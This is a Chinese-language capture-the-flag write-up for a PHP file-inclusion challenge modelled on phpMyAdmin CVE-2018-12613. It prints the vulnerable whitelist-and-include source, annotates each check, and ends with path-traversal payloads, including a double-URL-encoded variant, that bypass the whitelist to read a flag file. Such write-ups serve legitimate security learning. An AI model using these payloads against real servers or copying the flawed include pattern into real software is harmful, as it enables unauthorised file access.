这道题的原型应该是来自于phpMyadmin的一个文件包含漏洞(CVE-2018-12613)

首先打开题目是一张滑稽图片,检察一下,发现特殊注释source.php:

image-20210802215608796

查看一下,发现一堆源码:

 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

里面有两个陌生函数:

mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置

mb_strpos (haystack ,needle )

haystack:要被检查的字符串。

needle:要搜索的字符串

mb_substr() 函数返回字符串的一部分。

str 必需。从该 string 中提取子字符串。

start 必需。规定在字符串的何处开始。

length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。

同时发现hint.php,打入payload:source.php/hint.php

image-20210802220209583

我突然想起他俩并不是上下级关系,单独测试hint.php:

image-20210802220415587

接下来对代码进行审计:

 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单列表
if (! isset($page) || !is_string($page)) {
//isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值
echo "you can't see it";
return false;
}
//检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真 第一次whitelist检测
if (in_array($page, $whitelist)) {
return true;
}
//过滤问号的函数(如果$page的值有?则从?之前提取字符串) 第一次问号过滤
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')//返回$page.?里?号出现的第一个位置
);
//第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真 第二次whitelist检测
if (in_array($_page, $whitelist)) {
return true;
}

//url对$page解码
$_page = urldecode($page);
//第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串) 第二次问号过滤
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
//第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真 第三次whitelist检测
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) //file变量不为空
&& is_string($_REQUEST['file']) //file变量为字符串
&& emmm::checkFile($_REQUEST['file'])//将file传到emmm类的checkfile函数
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
// flag not here, and flag in ffffllllaaaagggg

三次白名单检测,两次问号过滤

image-20210802221748537

最终payload:

source.php?file=hint.php?../../../../../ffffllllaaaagggg

或者 第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,

?—> %3F ——> %253F 回推两次

file=source.php?file=source.php%253f…/…/…/…/…/ffffllllaaaagggg